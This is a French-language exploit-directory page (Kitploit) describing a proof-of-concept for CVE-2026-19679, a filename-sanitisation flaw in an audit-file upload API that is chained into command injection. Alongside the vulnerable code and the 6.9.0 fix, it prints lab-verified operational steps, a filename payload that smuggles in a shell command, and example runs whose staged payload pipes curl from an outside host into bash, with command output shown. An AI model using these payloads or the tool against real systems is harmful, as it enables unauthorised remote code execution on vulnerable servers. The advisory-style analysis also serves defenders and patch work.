Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
POC-CVE-2026-19679 — Exploit de preuve de concept pour CVE-2026-19679, une vulnérabilité de désinfection insuffisante des noms de fichiers dans le téléversement de fichiers d'audit, conduisant à une injection de commandes. Inclut une sonde de version différentielle et un mode exec pour l'exécution de commandes à distance. | Kitploit
Outils/GitHubGitHub/h00die/poc-cve-2026-19679
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleDéveloppement de Charges Utiles
GitHubh00die/poc-cve-2026-19679

POC-CVE-2026-19679

Voir le dépôt
il y a 17h 48mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Exploit de preuve de concept pour CVE-2026-19679, une vulnérabilité de désinfection insuffisante des noms de fichiers dans le téléversement de fichiers d'audit, conduisant à une injection de commandes. Inclut une sonde de version différentielle et un mode exec pour l'exécution de commandes à distance.

Partager

InfoGraphic

CVE-2026-19679 — assainissement insuffisant des noms de fichiers téléversés (validation des entrées)

Statut : CONFIRMÉ sur un lab 6.7.2-14.el9 (2026-08-20). POST /rest/auditFile avec tailoringOriginalFilename = "poc;touch${IFS}poc19679;me.xml" a renvoyé HTTP 200 et enregistré l'AuditFile #1000002 — le nom de fichier contenant des métacaractères shell a passé la validation et a été stocké de bout en bout. Sur 6.9.0, la même requête est refusée avec "Invalid tailoring filename.".

Vulnérabilité

Les paramètres de téléversement des fichiers d'audit (filename, tailoringFilename, tailoringOriginalFilename) sont validés avec (), qui ne vérifie que trois choses : non vide, pas de (égalité ), et que le fichier temporaire existe. — , , les backticks, et les espaces passent sans modification.

PARAM_FILENAME
Utility::validateParams()
/
basename()
Aucune contrainte de jeu de caractères
;
$()
${IFS}

Ces noms sont ensuite utilisés dans :

  • rename($tmpTailoringFile, "{$tmpDir}/{$newTailoringFilename}") — AuditFileLib.php:2307 (un fichier avec des métacaractères arbitraires dans son nom est créé)
  • la commande de reconditionnement du zip SCAP — exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc") où le $tmpZipFile non échappé provient du paramètre filename du client — l'injection de commande en aval de CVE-2026-19681.

Limite vérifiée en laboratoire : le traversement de répertoire ne fait pas partie de la faille pré-6.9 — les deux paramètres de tailoring rejettent / (erreur 146 Invalid syntax for attribute ... sur une charge utile ../). La pièce manquante est exactement le filtre de jeu de caractères, ce que le texte du CVE entend par "pourrait contribuer à une injection de commande en aval."

Correctif (6.9.0)

AuditFiles::applySCAPTailoringFile():

root@kitploit:~
$filenamePattern = '/^[A-Za-z0-9][A-Za-z0-9._-]{0,254}$/';
$safeTailoringFilename = basename($params['tailoringFilename']);
$safeTailoringOriginalFilename = basename($params['tailoringOriginalFilename']);
if ( !preg_match($filenamePattern, ...) ) {
    ErrorHandler::setErrorHandler("Invalid tailoring filename.", RESPONSE_INVALID_DATA);

plus basename() sur les deux noms et escapeshellarg() sur les opérandes du zip.

PoC

Sonde de version différentielle — une requête, des résultats opposés selon la version :

root@kitploit:~
./poc.py --target https://sc.lab --username analyst --password 'pass'
  • ≤ 6.8.x → HTTP 200 (fichier d'audit créé avec le nom à métacaractères) ou erreur 106 (rebond après exécution ; le nom a quand même atteint rename()/zip) → aucune validation du jeu de caractères
  • 6.9.0 → rejet immédiat avec "Invalid tailoring filename."

Notes opérationnelles (toutes vérifiées en laboratoire) :

  • la ressource de téléversement est /rest/file/upload (multipart Filedata, champ de formulaire context)
  • le zip d'audit est préparé avec un contexte vide — context=auditFile déclenche la détection de contenu sur le zip (erreur 107 sur un zip factice)
  • le fichier de tailoring doit contenir un datastream XML analysable avec ≥1 Profile (intégré)
  • le corps de la requête auditFile nécessite type=scapLinux|scapWindows, version=1.2, benchmarkName, dataStreamName

Relation avec CVE-2026-19681

19679 est la lacune de validation ; 19681 est le sink d'exécution. Le même flux de téléversement sollicite les deux : 19681 place des métacaractères dans le filename temporaire (via le préfixe context du téléversement) et les déclenche via le $tmpZipFile non échappé ; 19679 démontre que les paramètres voisins acceptent la même classe de caractères jusqu'à (et dans) la même chaîne de commande. 6.9.0 corrige les deux côtés dans une même zone de commit : jeu de caractères + basename + escapeshellarg.

Exemple d'exécution

root@kitploit:~
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd whoami
[*] exec mode: callback on 2.2.2.2:43423, staged-name payload 'p;curl${IFS}2.2.2.2:43423|bash;'
[+] authenticated, token 20748583...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:43423|bash;-6LsqIT' tailoring='tailoringFile-gGVNr6'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560505}
[+] command output:
tns
root@kitploit:~
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd "uname -a"
[*] exec mode: callback on 2.2.2.2:44077, staged-name payload 'p;curl${IFS}2.2.2.2:44077|bash;'
[+] authenticated, token 20420913...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:44077|bash;-zFE1Bb' tailoring='tailoringFile-FmUM7f'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560738}
[+] command output:
Linux securitycenter 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Oct 17 14:16:35 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux
Télécharger l’outil